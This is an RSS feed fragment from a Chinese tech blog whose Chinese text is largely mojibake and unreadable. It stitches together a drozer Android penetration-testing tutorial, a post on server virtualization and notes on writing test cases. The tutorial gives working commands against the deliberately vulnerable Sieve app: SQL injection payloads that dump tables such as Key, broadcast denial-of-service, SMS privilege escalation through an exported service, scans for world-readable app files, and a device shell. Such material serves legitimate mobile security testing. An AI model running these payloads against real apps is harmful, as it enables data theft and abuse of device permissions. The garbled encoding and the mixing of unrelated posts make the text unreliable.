0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆drozer console connect</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆浜屻?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">嫻嬭瘯</strong></u></a>姝ラ</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆1.鑾峰彇鍖呭悕</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆dz> run app.package.list -f sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆2.鑾峰彇搴旂敤鐨勫熀鏈俊鎭?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.package.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆3.紜畾鏀誨嚮闈?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.package.attacksurface com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆4.Activity</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛夎幏鍙朼ctivity淇℃伅</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.activity.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛夊惎鍔╝ctivity</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.activity.start --component com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆dz> help app.activity.start</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆[--component PACKAGE COMPONENT] [--data-uri DATA_URI]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆[--mimetype MIMETYPE]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">銆5.Content Provider</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛夎幏鍙朇ontent Provider淇℃伅</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛塁ontent Providers錛堟暟鎹硠闇詫級(jí)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍏堣幏鍙栨墍鏈夊彲浠ヨ闂殑Uri錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run scanner.provider.finduris -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鑾峰彇鍚勪釜Uri鐨勬暟鎹細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鏌ヨ鍒版暟鎹鏄庡瓨鍦ㄦ紡媧?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛塁ontent Providers錛?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>娉ㄥ叆錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鎶ラ敊鍒欒鏄庡瓨鍦⊿QL娉ㄥ叆銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍒楀嚭鎵鏈夎〃錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鑾峰彇鏌愪釜琛紙濡侹ey錛変腑鐨勬暟鎹細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛夊悓鏃舵嫻婼QL娉ㄥ叆鍜岀洰褰曢亶鍘?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run scanner.provider.injection -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆run scanner.provider.traversal -a com.mwr.example.sieve<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆<strong style="word-break: break-all; line-height: normal !important;">6 intent緇勪歡瑙﹀彂錛堟嫆緇濇湇鍔°佹潈闄愭彁鍗囷級(jí)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鍒╃敤intent瀵圭粍浠剁殑瑙﹀彂涓鑸湁涓ょ被婕忔礊錛屼竴綾繪槸鎷掔粷鏈嶅姟錛屼竴綾葷殑鏉冮檺鎻愬崌銆傛嫆緇濇湇鍔″嵄瀹蟲ф瘮杈冧綆錛屾洿澶氱殑鍙槸褰卞搷搴旂敤鏈嶅姟璐ㄩ噺錛涜屾潈闄愭彁鍗囧皢浣垮緱娌℃湁璇ユ潈闄愮殑搴旂敤鍙互閫氳繃intent瑙﹀彂鎷ユ湁璇ユ潈闄愮殑搴旂敤錛屼粠鑰屽府鍔╁叾瀹屾垚瓚婃潈琛屼負(fù)銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆1.鏌ョ湅鏆撮湶鐨勫箍鎾粍浠朵俊鎭細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.info -a com.package.name銆銆鑾峰彇broadcast receivers淇℃伅</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --component 鍖呭悕 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆2.灝濊瘯鎷掔粷鏈嶅姟鏀誨嚮媯(gè)嫻嬶紝鍚戝箍鎾粍浠跺彂閫佷笉瀹屾暣intent錛堢┖action鎴栫┖extras錛夛細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send 閫氳繃intent鍙戦乥roadcast receiver</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆(1)   絀篴ction</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --component 鍖呭悕 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --component 鍖呭悕 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆(2)   絀篹xtras</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆3.灝濊瘯鏉冮檺鎻愬崌</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鏉冮檺鎻愬崌鍏跺疄鍜屾嫆緇濇湇鍔″緢綾諱技錛屽彧涓嶈繃鐩殑鍙樻垚鏋勯犳洿涓哄畬鏁淬佹洿鑳芥弧瓚崇▼搴忛昏緫鐨刬ntent銆傜敱浜巃ctivity涓鑸浜庣敤鎴蜂氦浜掓湁鍏籌紝鎵浠ュ熀 浜巌ntent鐨勬潈闄愭彁鍗囨洿澶氶拡瀵筨roadcast receiver鍜宻ervice銆備笌drozer鐩稿叧鐨勬潈闄愭彁鍗囧伐鍏鳳紝鍙互鍙傝僆ntentFuzzer錛屽叾緇撳悎浜?jiǎn)drozer浠ュ強(qiáng)hook鎶鏈紝閲囩敤 feedback絳栫暐榪涜fuzzing銆備互涓嬩粎浠呭垪涓綿rozer鍙戦乮ntent鐨勫懡浠わ細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆錛?錛夎幏鍙杝ervice璇︽儏</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.service.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆涓嶄嬌鐢╠rozer鍚姩service</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆am startservice –n 鍖呭悕/service鍚?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆錛?錛夋潈闄愭彁鍗?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆7.鏂囦歡鎿嶄綔</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鍒楀嚭鎸囧畾鏂囦歡璺緞閲屽叏灞鍙啓/鍙鐨勬枃浠?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆run app.broadcast.send --component 鍖呭悕 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆8.鍏跺畠妯″潡</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆shell.start 鍦ㄨ澶囦笂寮鍚竴涓氦浜抯hell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆tools.file.upload / tools.file.download 涓婁紶/涓嬭澆鏂囦歡鍒拌澶?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆tools.setup.busybox / tools.setup.minimalsu 瀹夎鍙敤鐨勪簩榪涘埗鏂囦歡</div></div><img src ="http://www.tkk7.com/qileilove/aggbug/423597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/qileilove/" target="_blank">欏哄叾鑷劧EVO</a> 2015-03-18 22:06 <a href="http://www.tkk7.com/qileilove/archive/2015/03/18/423597.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>鍦ㄦ湇鍔″櫒铏氭嫙鍖栨灦鏋勪腑鏈夊摢浜涙妧鏈姛鑳藉拰鐩婂http://www.tkk7.com/qileilove/archive/2015/03/18/423595.html欏哄叾鑷劧EVO欏哄叾鑷劧EVOWed, 18 Mar 2015 14:03:00 GMThttp://www.tkk7.com/qileilove/archive/2015/03/18/423595.htmlhttp://www.tkk7.com/qileilove/comments/423595.htmlhttp://www.tkk7.com/qileilove/archive/2015/03/18/423595.html#Feedback1http://www.tkk7.com/qileilove/comments/commentRss/423595.htmlhttp://www.tkk7.com/qileilove/services/trackbacks/423595.html鍏充簬鏈嶅姟鍣ㄨ櫄鎷熷寲鐨勬蹇碉紝涓氱晫鏈変笉鍚岀殑瀹氫箟錛屼絾鍏舵牳蹇?jī)鏄竴鑷寸殑錛屽嵆瀹冩槸涓縐嶆柟娉曪紝鑳藉鍦ㄦ暣鍚堝涓簲鐢ㄦ湇鍔$殑鍚屾椂錛岄氳繃鍖哄垎搴旂敤鏈嶅姟鐨勪紭鍏堟搴忓皢鏈嶅姟鍣ㄨ祫婧愬垎閰嶇粰鏈闇瑕佸畠浠殑宸ヤ綔璐熻澆鏉ョ畝鍖栫鐞嗗拰鎻愰珮鏁堢巼銆?strong style="word-break: break-all; line-height: normal !important;">鍏朵富瑕佸姛鑳藉寘鎷互涓嬪洓涓柟闈細(xì)
銆銆闆嗘垚鏁村悎鍔熻兘銆傝櫄鎷熷寲鏈嶅姟鍣ㄤ富瑕佹槸鐢辯墿鐞嗘湇鍔″櫒鍜岃櫄鎷熷寲紼嬪簭鏋勬垚鐨勶紝閫氳繃鎶婁竴鍙扮墿鐞嗘湇鍔″櫒鍒掑垎涓哄涓櫄鎷熸満錛屾垨鑰呮妸鑻ュ共涓垎鏁g殑鐗╃悊鏈嶅姟鍣ㄨ櫄鎷熶負(fù)涓涓暣浣撻昏緫鏈嶅姟鍣紝浠庤屽皢澶氫釜鎿嶄綔緋葷粺鍜屽簲鐢ㄦ湇鍔℃暣鍚堝埌寮哄ぇ鐨勮櫄鎷熷寲鏋舵瀯涓娿?/div>
銆銆鍔ㄦ佽縼縐誨姛鑳姐傝繖閲屾墍璇寸殑鍔ㄦ佽縼縐諱富瑕佹槸鎸嘨2V(铏氭嫙鏈哄埌铏氭嫙鏈虹殑榪佺Щ)鎶鏈傚叿浣撴潵璁詫紝褰撴煇涓涓湇鍔″櫒鍥犳晠闅滃仠鏈烘椂錛屽叾鎵胯澆鐨勮櫄鎷熸満鍙互鑷姩鍒囨崲鍒板彟涓鍙拌櫄鎷熸湇鍔″櫒錛岃屽湪鏁翠釜榪囩▼涓簲鐢ㄦ湇鍔′笉浼?xì)涓柇锛屽疄鐜熬p葷粺闆跺畷鏈哄湪綰胯縼縐匯?/div>
銆銆璧勬簮鍒嗛厤鍔熻兘銆傝櫄鎷熷寲鏋舵瀯鎶鏈腑寮曞叆浜?jiǎn)鍔ㄦ佽祫婧愯皟搴︽妧鏈紝緋葷粺灝嗘墍鏈夎櫄鎷熸湇鍔″櫒浣滀負(fù)涓涓暣浣撹祫婧愮粺涓榪涜綆$悊錛屽茍鎸夊疄闄呴渶姹傝嚜鍔ㄨ繘琛屽姩鎬佽祫婧愯皟閰嶏紝鍦ㄤ繚璇佺郴緇熺ǔ瀹氳繍琛岀殑鍓嶆彁涓嬶紝瀹炵幇璧勬簮鍒╃敤鏈澶у寲銆?/div>
銆銆寮哄ぇ鐨勭鐞嗘帶鍒剁晫闈€傞氳繃鍙鍖栫晫闈㈠疄鏃剁洃鎺х墿鐞嗘湇鍔″櫒浠ュ強(qiáng)鍚勮櫄鎷熸満鐨勮繍琛屾儏鍐碉紝瀹炵幇瀵瑰叏閮ㄨ櫄鎷熻祫婧愮殑綆$悊銆佺淮鎶ゅ強(qiáng)閮ㄧ講絳夋搷浣溿?/div>
銆銆鏈嶅姟鍣ㄨ櫄鎷熷寲鐨勭泭澶?/strong>
銆銆閲囩敤鏈嶅姟鍣ㄨ櫄鎷熷寲鎶鏈殑鐩婂涓昏琛ㄧ幇鍦ㄤ互涓嬪嚑涓柟闈€?/strong>
銆銆鑺傜渷閲囪喘璐圭敤銆傞氳繃铏氭嫙鍖栨妧鏈搴旂敤鏈嶅姟鍣ㄨ繘琛屾暣鍚堬紝鍙互澶у箙緙╁噺浼佷笟鍦ㄩ噰璐幆鑺傜殑寮鏀紝鍦ㄧ‖浠剁幆鑺傚彲浠ヤ負(fù)浼佷笟鑺傜渷34%锝?0%鐨勯噰璐垚鏈?/div>
銆銆鍚屾椂錛岃繕鍙互鑺傜渷杞歡閲囪喘璐圭敤銆傝蔣浠惰鍙垚鏈槸浼佷笟涓嶅彲蹇借鐨勯噸瑕佹敮鍑恒傝岄殢鐫寰蔣銆佺孩甯界瓑杞歡宸ㄥご鐨勫姞鍏ワ紝铏氭嫙鍖栨灦鏋勬妧鏈湪杞歡鎴愭湰涓婄殑浼樺娍涔熼愭笎寰椾互浣撶幇銆?/div>
銆銆闄嶄綆緋葷粺榪愯緇存姢鎴愭湰銆傜敱浜庤櫄鎷熷寲鍦ㄦ暣鍚堟湇鍔″櫒鐨勫悓鏃墮噰鐢ㄤ簡(jiǎn)鏇翠負(fù)鍑?guó)檳茬殑绠$悊宸ュ咗P紝鍑忓皯浜?jiǎn)绠$悊缁存姢錆h鍛樺湪緗戠粶銆佺嚎璺佽蔣紜歡緇存姢鏂歸潰鐨勫伐浣滈噺錛屼俊鎭儴闂ㄥ緱浠ヤ粠浼犵粺鐨勭淮鎶ょ鐞嗗伐浣滀腑瑙f斁鍑烘潵錛屽皢鏇村鐨勬椂闂村拰綺懼姏鐢ㄤ簬鎺ㄥ姩鍒涙柊宸ヤ綔鍜屼笟鍔″闀跨瓑媧誨姩錛岃繖涔熶負(fù)浼佷笟甯︽潵浜?jiǎn)鍒╃泭銆?/div>
銆銆閫氳繃铏氭嫙鍖栨妧鏈彲浠ュ噺灝戠墿鐞嗘湇鍔″櫒鐨勬暟閲忥紝榪欏氨鎰忓懗鐫浼佷笟鏈烘埧鑰楃數(shù)閲忋佹暎鐑噺鐨勯檷浣庯紝鍚屾椂榪樹負(fù)浼佷笟鑺傜渷浜?jiǎn)绌鸿皟銆佹満鎴塊厤濂楄澶囩殑鏀歸犲崌綰ц垂鐢ㄣ?/div>
銆銆鎻愰珮璧勬簮鍒╃敤鐜囥備繚闅滀笟鍔$郴緇熺殑蹇熼儴緗叉槸淇℃伅鍖栧伐浣滅殑涓欏歸噸瑕佹寚鏍囷紝鑰屼紶緇熸ā寮忎腑鏈嶅姟鍣ㄧ殑閲囪喘瀹夎鍛ㄦ湡杈冮暱錛屼竴瀹氱▼搴︿笂闄愬埗浜?jiǎn)绯痪l熼儴緗叉晥鐜囥傚埄鐢ㄨ櫄鎷熷寲鎶鏈紝鍙互蹇熸惌寤鴻櫄鎷熺郴緇熷鉤鍙幫紝澶у箙緙╁噺閮ㄧ講絳瑰鏃墮棿錛屾彁楂樺伐浣滄晥鐜囥?/div>
銆銆鐢變簬铏氭嫙鍖栨湇鍔″櫒鍏鋒湁鍔ㄦ佽祫婧愬垎閰嶅姛鑳斤紝鍥犳褰撲竴鍙拌櫄鎷熸満鐨勫簲鐢ㄨ礋杞借秼浜庨ケ鍜屾椂錛岀郴緇熶細(xì)鏍規(guī)嵁涔嬪墠瀹氫箟鐨勫垎閰嶈鍒欒嚜鍔ㄨ繘琛岃祫婧愯皟閰嶃傛牴鎹ぇ閮ㄥ垎铏氭嫙鍖栨妧鏈巶鍟嗘彁渚涚殑鏁版嵁鎸囨爣鏉ョ湅錛岄氳繃铏氭嫙鍖栨暣鍚堟湇鍔″櫒鍚庯紝璧勬簮騫沖潎鍒╃敤鐜囧彲浠ヤ粠5%锝?5%鎻愰珮鍒?0%锝?0%銆?/div>
銆銆鎻愰珮緋葷粺鐨勫畨鍏ㄦс備紶緇熸湇鍔″櫒紜歡緇存姢閫氬父闇瑕佹暟澶╃殑絳瑰鏈熷拰鏁板皬鏃剁殑緇存姢紿楀彛鏈熴傝屽湪铏氭嫙鍖栨灦鏋勬妧鏈幆澧冧笅錛屾湇鍔″櫒榪佺Щ鍙渶瑕佸嚑縐掗挓鐨勬椂闂淬傜敱浜庤縼縐昏繃紼嬩腑鏈嶅姟娌℃湁涓柇錛岀鐞嗗憳鏃犻』鐢寵緋葷粺鍋滄満錛屽湪闄嶄綆綆$悊緇存姢宸ヤ綔閲忕殑鍚屾椂錛屾彁楂樼郴緇熻繍琛岃繛緇с?/div>
銆銆鐩墠铏氭嫙鍖栦富嫻佹妧鏈巶鍟嗗潎鍦ㄥ叾铏氭嫙鍖栧鉤鍙頒腑寮曞叆鏁版嵁蹇収浠ュ強(qiáng)铏氭嫙瀛樺偍絳夊畨鍏ㄦ満鍒訛紝鍥犳鍦ㄦ暟鎹畨鍏ㄧ瓑綰у拰緋葷粺瀹圭伨鑳藉姏鏂歸潰錛岃緝鍘熸湁鍗曟満榪愯妯″紡鏈変簡(jiǎn)杈冨ぇ鎻愰珮銆?br />
鐩墠 鎴戝徃姝e湪搴旂敤aws 紜疄寰堜笉閿欙紝鑺傜渷鎴愭湰 鏈嶅姟紼沖畾錛屾瘮浠涔堥樋閲屼簯 寮轟簡(jiǎn)涓嶇煡閬撳灝戝?/div>

]]>闃呰銆婃祴璇曠敤渚嬫寚鍗椼嬬瑪璁?/title><link>http://www.tkk7.com/qileilove/archive/2015/03/18/423594.html</link><dc:creator>欏哄叾鑷劧EVO</dc:creator><author>欏哄叾鑷劧EVO</author><pubDate>Wed, 18 Mar 2015 14:00:00 GMT</pubDate><guid>http://www.tkk7.com/qileilove/archive/2015/03/18/423594.html</guid><wfw:comment>http://www.tkk7.com/qileilove/comments/423594.html</wfw:comment><comments>http://www.tkk7.com/qileilove/archive/2015/03/18/423594.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/qileilove/comments/commentRss/423594.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/qileilove/services/trackbacks/423594.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">1.嫻嬭瘯鐢ㄤ緥 錛氬垎鏈夊熀鏈祦鍜屽閫夋祦銆?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆2.瑕佸厛紜畾<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;"></strong></u></a><u style="word-break: break-all;"><strong style="word-break: break-all;"><a target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">嫻嬭瘯</strong></u></a>鐢ㄤ緥</strong></u>鎻忚堪錛屽啀鍦ㄦ祴璇曠敤渚?瀹炴柦鐭╅樀涓‘瀹氱浉搴旂殑嫻嬭瘯鐢ㄤ緥鏁版嵁銆?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆3.浠庤ˉ鍏呰綰︿腑鐢熸垚嫻嬭瘯鐢ㄤ緥</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛変負(fù)<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鎬ц兘嫻嬭瘯</strong></u></a>鐢熸垚嫻嬭瘯鐢ㄤ緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛変負(fù)瀹夊叏鎬?璁塊棶鎺у埗嫻嬭瘯鐢熸垚嫻嬭瘯鐢ㄤ緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍏抽敭錛氬厛鎸囧畾鎵ц鐢ㄤ緥鐨勪富瑙?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛変負(fù)閰嶇疆嫻嬭瘯鐢熸垚嫻嬭瘯鐢ㄤ緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆涓昏鏄負(fù)浜?jiǎn)鏍稿疄娴嬭瘯鐩爣鍦ㄤ笉鍚岀殑閰嵕|儏鍐典笅錛堝涓嶅悓鐨凮S錛孊rowser錛孋PU閫熷害絳夛級(jí)鏄惁鑳芥甯?鍦?nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">宸ヤ綔</strong></u></a>鎴栨墽琛屻?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆閽堝絎釜鍏抽敭閰嶇疆錛屾瘡涓彲鑳芥湁闂鐨勯厤緗兘鑷沖皯搴旇鏈変竴涓祴璇曠敤渚嬨?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆錛?錛変負(fù)瀹夎嫻嬭瘯鐢熸垚嫻嬭瘯鐢ㄤ緥</div><div 